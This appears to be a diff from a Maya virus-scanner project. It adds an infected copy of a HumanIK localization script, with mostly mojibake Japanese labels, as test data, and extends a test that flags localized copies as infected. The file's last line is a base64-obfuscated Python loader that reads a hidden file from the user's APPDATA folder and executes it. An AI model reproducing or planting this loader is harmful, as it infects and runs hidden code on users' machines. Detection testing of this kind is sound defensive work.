"HIKProperty2State", "ParamLeafLeftUpLegRoll1Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll1Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll1Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll1Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll1Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll1Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll1Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll1Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll1Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll1Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll1Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll1Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll1Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll1Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll1Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll2Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll2Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll2Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll2Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll2Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll2Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll2Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll2Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll2Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll2Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll2Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll2Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll2Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll2Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll2Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll2Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll3Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll3Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll3Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll3Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll3Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll3Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll3Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll3Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll3Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll3Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll3Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll3Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll3Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll3Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll3Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll3Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll4Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll4Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll4Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll4Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll4Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll4Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll4Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll4Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll4Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll4Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll4Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll4Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll4Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll4Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll4Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll4Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll5Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll5Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll5Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftLegRoll5Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll5Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightUpLegRoll5Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll5Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightLegRoll5Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll5Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftArmRoll5Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll5Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll5Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll5Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightArmRoll5Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll5Mode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafRightForeArmRoll5Mode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftLegFullRollExtractionMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftLegFullRollExtractionMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightLegFullRollExtractionMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightLegFullRollExtractionMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftArmFullRollExtractionMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftArmFullRollExtractionMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightArmFullRollExtractionMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightArmFullRollExtractionMode", 1, "ニモテ" ); +// +// Node: HIKPinning2State +// +setNodeNiceNameResource( "HIKPinning2State", "HIKPinning 2State" ); +setAttrNiceNameResource( "HIKPinning2State", "fzn", "カウス" ); +setAttrNiceNameResource( "HIKPinning2State", "OutputEffectorState", "ハ莎ミァモヲニラエフャ" ); +setAttrNiceNameResource( "HIKPinning2State", "OutputEffectorStateNoAux", "ハ莎ミァモヲニラエフャテサモミクィヨ" ); +setAttrNiceNameResource( "HIKPinning2State", "InputEffectorState", "ハ菠ミァモヲニラエフャ" ); +setAttrNiceNameResource( "HIKPinning2State", "InputEffectorStateNoAux", "ハ菠ミァモヲニラエフャテサモミクィヨ" ); +setAttrNiceNameResource( "HIKPinning2State", "HipsEffectorPinT", "ナイソミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "HipsEffectorPinR", "ナイソミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftAnkleEffectorPinT", "ララミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftAnkleEffectorPinR", "ララミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightAnkleEffectorPinT", "モメラミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightAnkleEffectorPinR", "モメラミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftWristEffectorPinT", "ラヘミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftWristEffectorPinR", "ラヘミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightWristEffectorPinT", "モメヘミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightWristEffectorPinR", "モメヘミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftKneeEffectorPinT", "ラマ・ミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftKneeEffectorPinR", "ラマ・ミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightKneeEffectorPinT", "モメマ・ミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightKneeEffectorPinR", "モメマ・ミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftElbowEffectorPinT", "ラヨ簟ァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftElbowEffectorPinR", "ラヨ簟ァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightElbowEffectorPinT", "モメヨ簟ァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightElbowEffectorPinR", "モメヨ簟ァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "ChestOriginEffectorPinT", "ミリイソヤュオ耙ァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "ChestOriginEffectorPinR", "ミリイソヤュオ耙ァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "ChestEndEffectorPinT", "ミリイソトゥカヒミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "ChestEndEffectorPinR", "ミリイソトゥカヒミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootEffectorPinT", "ラスナミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootEffectorPinR", "ラスナミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootEffectorPinT", "モメスナミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootEffectorPinR", "モメスナミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftShoulderEffectorPinT", "ラシ醪ァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftShoulderEffectorPinR", "ラシ醪ァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightShoulderEffectorPinT", "モメシ醪ァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightShoulderEffectorPinR", "モメシ醪ァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "HeadEffectorPinT", "ヘキイソミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "HeadEffectorPinR", "ヘキイソミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHipEffectorPinT", "ラナミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHipEffectorPinR", "ラナミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHipEffectorPinT", "モメナミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHipEffectorPinR", "モメナミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandEffectorPinT", "ラハヨミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandEffectorPinR", "ラハヨミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandEffectorPinT", "モメハヨミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandEffectorPinR", "モメハヨミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandThumbEffectorPinT", "ラハヨトエヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandThumbEffectorPinR", "ラハヨトエヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandIndexEffectorPinT", "ラハヨハウヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandIndexEffectorPinR", "ラハヨハウヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandMiddleEffectorPinT", "ラハヨヨミヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandMiddleEffectorPinR", "ラハヨヨミヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandRingEffectorPinT", "ラハヨボテヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandRingEffectorPinR", "ラハヨボテヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandPinkyEffectorPinT", "ラハヨミ。ヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandPinkyEffectorPinR", "ラハヨミ。ヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandExtraFingerEffectorPinT", "ラハヨチヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftHandExtraFingerEffectorPinR", "ラハヨチヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandThumbEffectorPinT", "モメハヨトエヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandThumbEffectorPinR", "モメハヨトエヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandIndexEffectorPinT", "モメハヨハウヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandIndexEffectorPinR", "モメハヨハウヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandMiddleEffectorPinT", "モメハヨヨミヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandMiddleEffectorPinR", "モメハヨヨミヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandRingEffectorPinT", "モメハヨボテヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandRingEffectorPinR", "モメハヨボテヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandPinkyEffectorPinT", "モメハヨミ。ヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandPinkyEffectorPinR", "モメハヨミ。ヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandExtraFingerEffectorPinT", "モメハヨチヨクミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightHandExtraFingerEffectorPinR", "モメハヨチヨクミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootThumbEffectorPinT", "ラスナエヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootThumbEffectorPinR", "ラスナエヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootIndexEffectorPinT", "ラスナカヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootIndexEffectorPinR", "ラスナカヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootMiddleEffectorPinT", "ラスナヨミヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootMiddleEffectorPinR", "ラスナヨミヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootRingEffectorPinT", "ラスナヒトヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootRingEffectorPinR", "ラスナヒトヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootPinkyEffectorPinT", "ラスナミ。ヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootPinkyEffectorPinR", "ラスナミ。ヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootExtraFingerEffectorPinT", "ラスナチヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "LeftFootExtraFingerEffectorPinR", "ラスナチヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootThumbEffectorPinT", "モメスナエヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootThumbEffectorPinR", "モメスナエヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootIndexEffectorPinT", "モメスナカヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootIndexEffectorPinR", "モメスナカヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootMiddleEffectorPinT", "モメスナヨミヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootMiddleEffectorPinR", "モメスナヨミヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootRingEffectorPinT", "モメスナヒトヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootRingEffectorPinR", "モメスナヒトヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootPinkyEffectorPinT", "モメスナミ。ヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootPinkyEffectorPinR", "モメスナミ。ヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootExtraFingerEffectorPinT", "モメスナチヨコミァモヲニケフカィニスメニ" ); +setAttrNiceNameResource( "HIKPinning2State", "RightFootExtraFingerEffectorPinR", "モメスナチヨコミァモヲニケフカィミラェ" ); +setAttrNiceNameResource( "HIKPinning2State", "fza", "メムカウス睫ワモーマカヤマ" ); +// +// Node: ComputeGlobal +// +setNodeNiceNameResource( "ComputeGlobal", "シニヒ翳ォセヨ" ); +setAttrNiceNameResource( "ComputeGlobal", "fzn", "カウス" ); +setAttrNiceNameResource( "ComputeGlobal", "T", "ニスメニ" ); +setAttrNiceNameResource( "ComputeGlobal", "tx", "ニスメニ X" ); +setAttrNiceNameResource( "ComputeGlobal", "ty", "ニスメニ Y" ); +setAttrNiceNameResource( "ComputeGlobal", "tz", "ニスメニ Z" ); +setAttrNiceNameResource( "ComputeGlobal", "R", "ミラェ" ); +setAttrNiceNameResource( "ComputeGlobal", "rx", "ミラェ X" ); +setAttrNiceNameResource( "ComputeGlobal", "ry", "ミラェ Y" ); +setAttrNiceNameResource( "ComputeGlobal", "rz", "ミラェ Z" ); +setAttrNiceNameResource( "ComputeGlobal", "S", "ヒキナ" ); +setAttrNiceNameResource( "ComputeGlobal", "sx", "ヒキナ X" ); +setAttrNiceNameResource( "ComputeGlobal", "sy", "ヒキナ Y" ); +setAttrNiceNameResource( "ComputeGlobal", "sz", "ヒキナ Z" ); +setAttrNiceNameResource( "ComputeGlobal", "PreR", "ミラェヌー" ); +setAttrNiceNameResource( "ComputeGlobal", "PreRx", "ミラェヌーx" ); +setAttrNiceNameResource( "ComputeGlobal", "PreRy", "ミラェヌーy" ); +setAttrNiceNameResource( "ComputeGlobal", "PreRz", "ミラェヌーz" ); +setAttrNiceNameResource( "ComputeGlobal", "PostR", "ミラェコ" ); +setAttrNiceNameResource( "ComputeGlobal", "PostRx", "ミラェコx" ); +setAttrNiceNameResource( "ComputeGlobal", "PostRy", "ミラェコy" ); +setAttrNiceNameResource( "ComputeGlobal", "PostRz", "ミラェコz" ); +setAttrNiceNameResource( "ComputeGlobal", "PGX", "PGX" ); +setAttrNiceNameResource( "ComputeGlobal", "GX", "GX" ); +setAttrNiceNameResource( "ComputeGlobal", "ro", "ミラェヒウミ" ); +setAttrNiceNameResource( "ComputeGlobal", "fza", "メムカウス睫ワモーマカヤマ" ); +setAttrEnumResource( "ComputeGlobal", "ro", 0, "xyz" ); +setAttrEnumResource( "ComputeGlobal", "ro", 1, "yzx" ); +setAttrEnumResource( "ComputeGlobal", "ro", 2, "zxy" ); +setAttrEnumResource( "ComputeGlobal", "ro", 3, "xzy" ); +setAttrEnumResource( "ComputeGlobal", "ro", 4, "yxz" ); +setAttrEnumResource( "ComputeGlobal", "ro", 5, "zyx" ); +// +// Node: ComputeLocal +// +setNodeNiceNameResource( "ComputeLocal", "シニヒ羸ヨイソ" ); +setAttrNiceNameResource( "ComputeLocal", "fzn", "カウス" ); +setAttrNiceNameResource( "ComputeLocal", "T", "ニスメニ" ); +setAttrNiceNameResource( "ComputeLocal", "tx", "ニスメニ X" ); +setAttrNiceNameResource( "ComputeLocal", "ty", "ニスメニ Y" ); +setAttrNiceNameResource( "ComputeLocal", "tz", "ニスメニ Z" ); +setAttrNiceNameResource( "ComputeLocal", "R", "ミラェ" ); +setAttrNiceNameResource( "ComputeLocal", "rx", "ミラェ X" ); +setAttrNiceNameResource( "ComputeLocal", "ry", "ミラェ Y" ); +setAttrNiceNameResource( "ComputeLocal", "rz", "ミラェ Z" ); +setAttrNiceNameResource( "ComputeLocal", "S", "ヒキナ" ); +setAttrNiceNameResource( "ComputeLocal", "sx", "ヒキナ X" ); +setAttrNiceNameResource( "ComputeLocal", "sy", "ヒキナ Y" ); +setAttrNiceNameResource( "ComputeLocal", "sz", "ヒキナ Z" ); +setAttrNiceNameResource( "ComputeLocal", "PreR", "ミラェヌー" ); +setAttrNiceNameResource( "ComputeLocal", "PreRx", "ミラェヌーx" ); +setAttrNiceNameResource( "ComputeLocal", "PreRy", "ミラェヌーy" ); +setAttrNiceNameResource( "ComputeLocal", "PreRz", "ミラェヌーz" ); +setAttrNiceNameResource( "ComputeLocal", "PostR", "ミラェコ" ); +setAttrNiceNameResource( "ComputeLocal", "PostRx", "ミラェコx" ); +setAttrNiceNameResource( "ComputeLocal", "PostRy", "ミラェコy" ); +setAttrNiceNameResource( "ComputeLocal", "PostRz", "ミラェコz" ); +setAttrNiceNameResource( "ComputeLocal", "PGX", "PGX" ); +setAttrNiceNameResource( "ComputeLocal", "GX", "GX" ); +setAttrNiceNameResource( "ComputeLocal", "ro", "ミラェヒウミ" ); +setAttrNiceNameResource( "ComputeLocal", "fza", "メムカウス睫ワモーマカヤマ" ); +setAttrEnumResource( "ComputeLocal", "ro", 0, "xyz" ); +setAttrEnumResource( "ComputeLocal", "ro", 1, "yzx" ); +setAttrEnumResource( "ComputeLocal", "ro", 2, "zxy" ); +setAttrEnumResource( "ComputeLocal", "ro", 3, "xzy" ); +setAttrEnumResource( "ComputeLocal", "ro", 4, "yxz" ); +setAttrEnumResource( "ComputeLocal", "ro", 5, "zyx" ); +// +// Node: HIKCharacterStateClient +// +setNodeNiceNameResource( "HIKCharacterStateClient", "HIKCharacter State Client" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "InputCharacterDefinition", "ハ菠スヌノォカィメ" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "hipsScale", "ナイソヒキナ" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "hipsScaleX", "ナイソヒキナ X" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "hipsScaleY", "ナイソヒキナ Y" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "hipsScaleZ", "ナイソヒキナ Z" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "referenceGX", "メモテ GX" ); +setAttrNiceNameResource( "HIKCharacterStateClient", "OutputCharacterState", "ハ莎スヌノォラエフャ" ); + +python("import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)"); diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index 9913a01..4afd50c 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -39,6 +39,8 @@ def test_check_virus_file_by_signature(get_test_data, file_name, result): ("userSetup3.mel", True, False), ("mayaHIK.pres.mel", False, False), ("virus_mayaHIK.pres.mel", True, False), + ("ja_JP/plug-ins/mayaHIK.pres.mel", True, False), + ("zh_CN/plug-ins/mayaHIK.pres.mel", True, False), ], ) def test_remove_virus_file_by_signature(get_test_data, file_name, tmpdir, virus, result):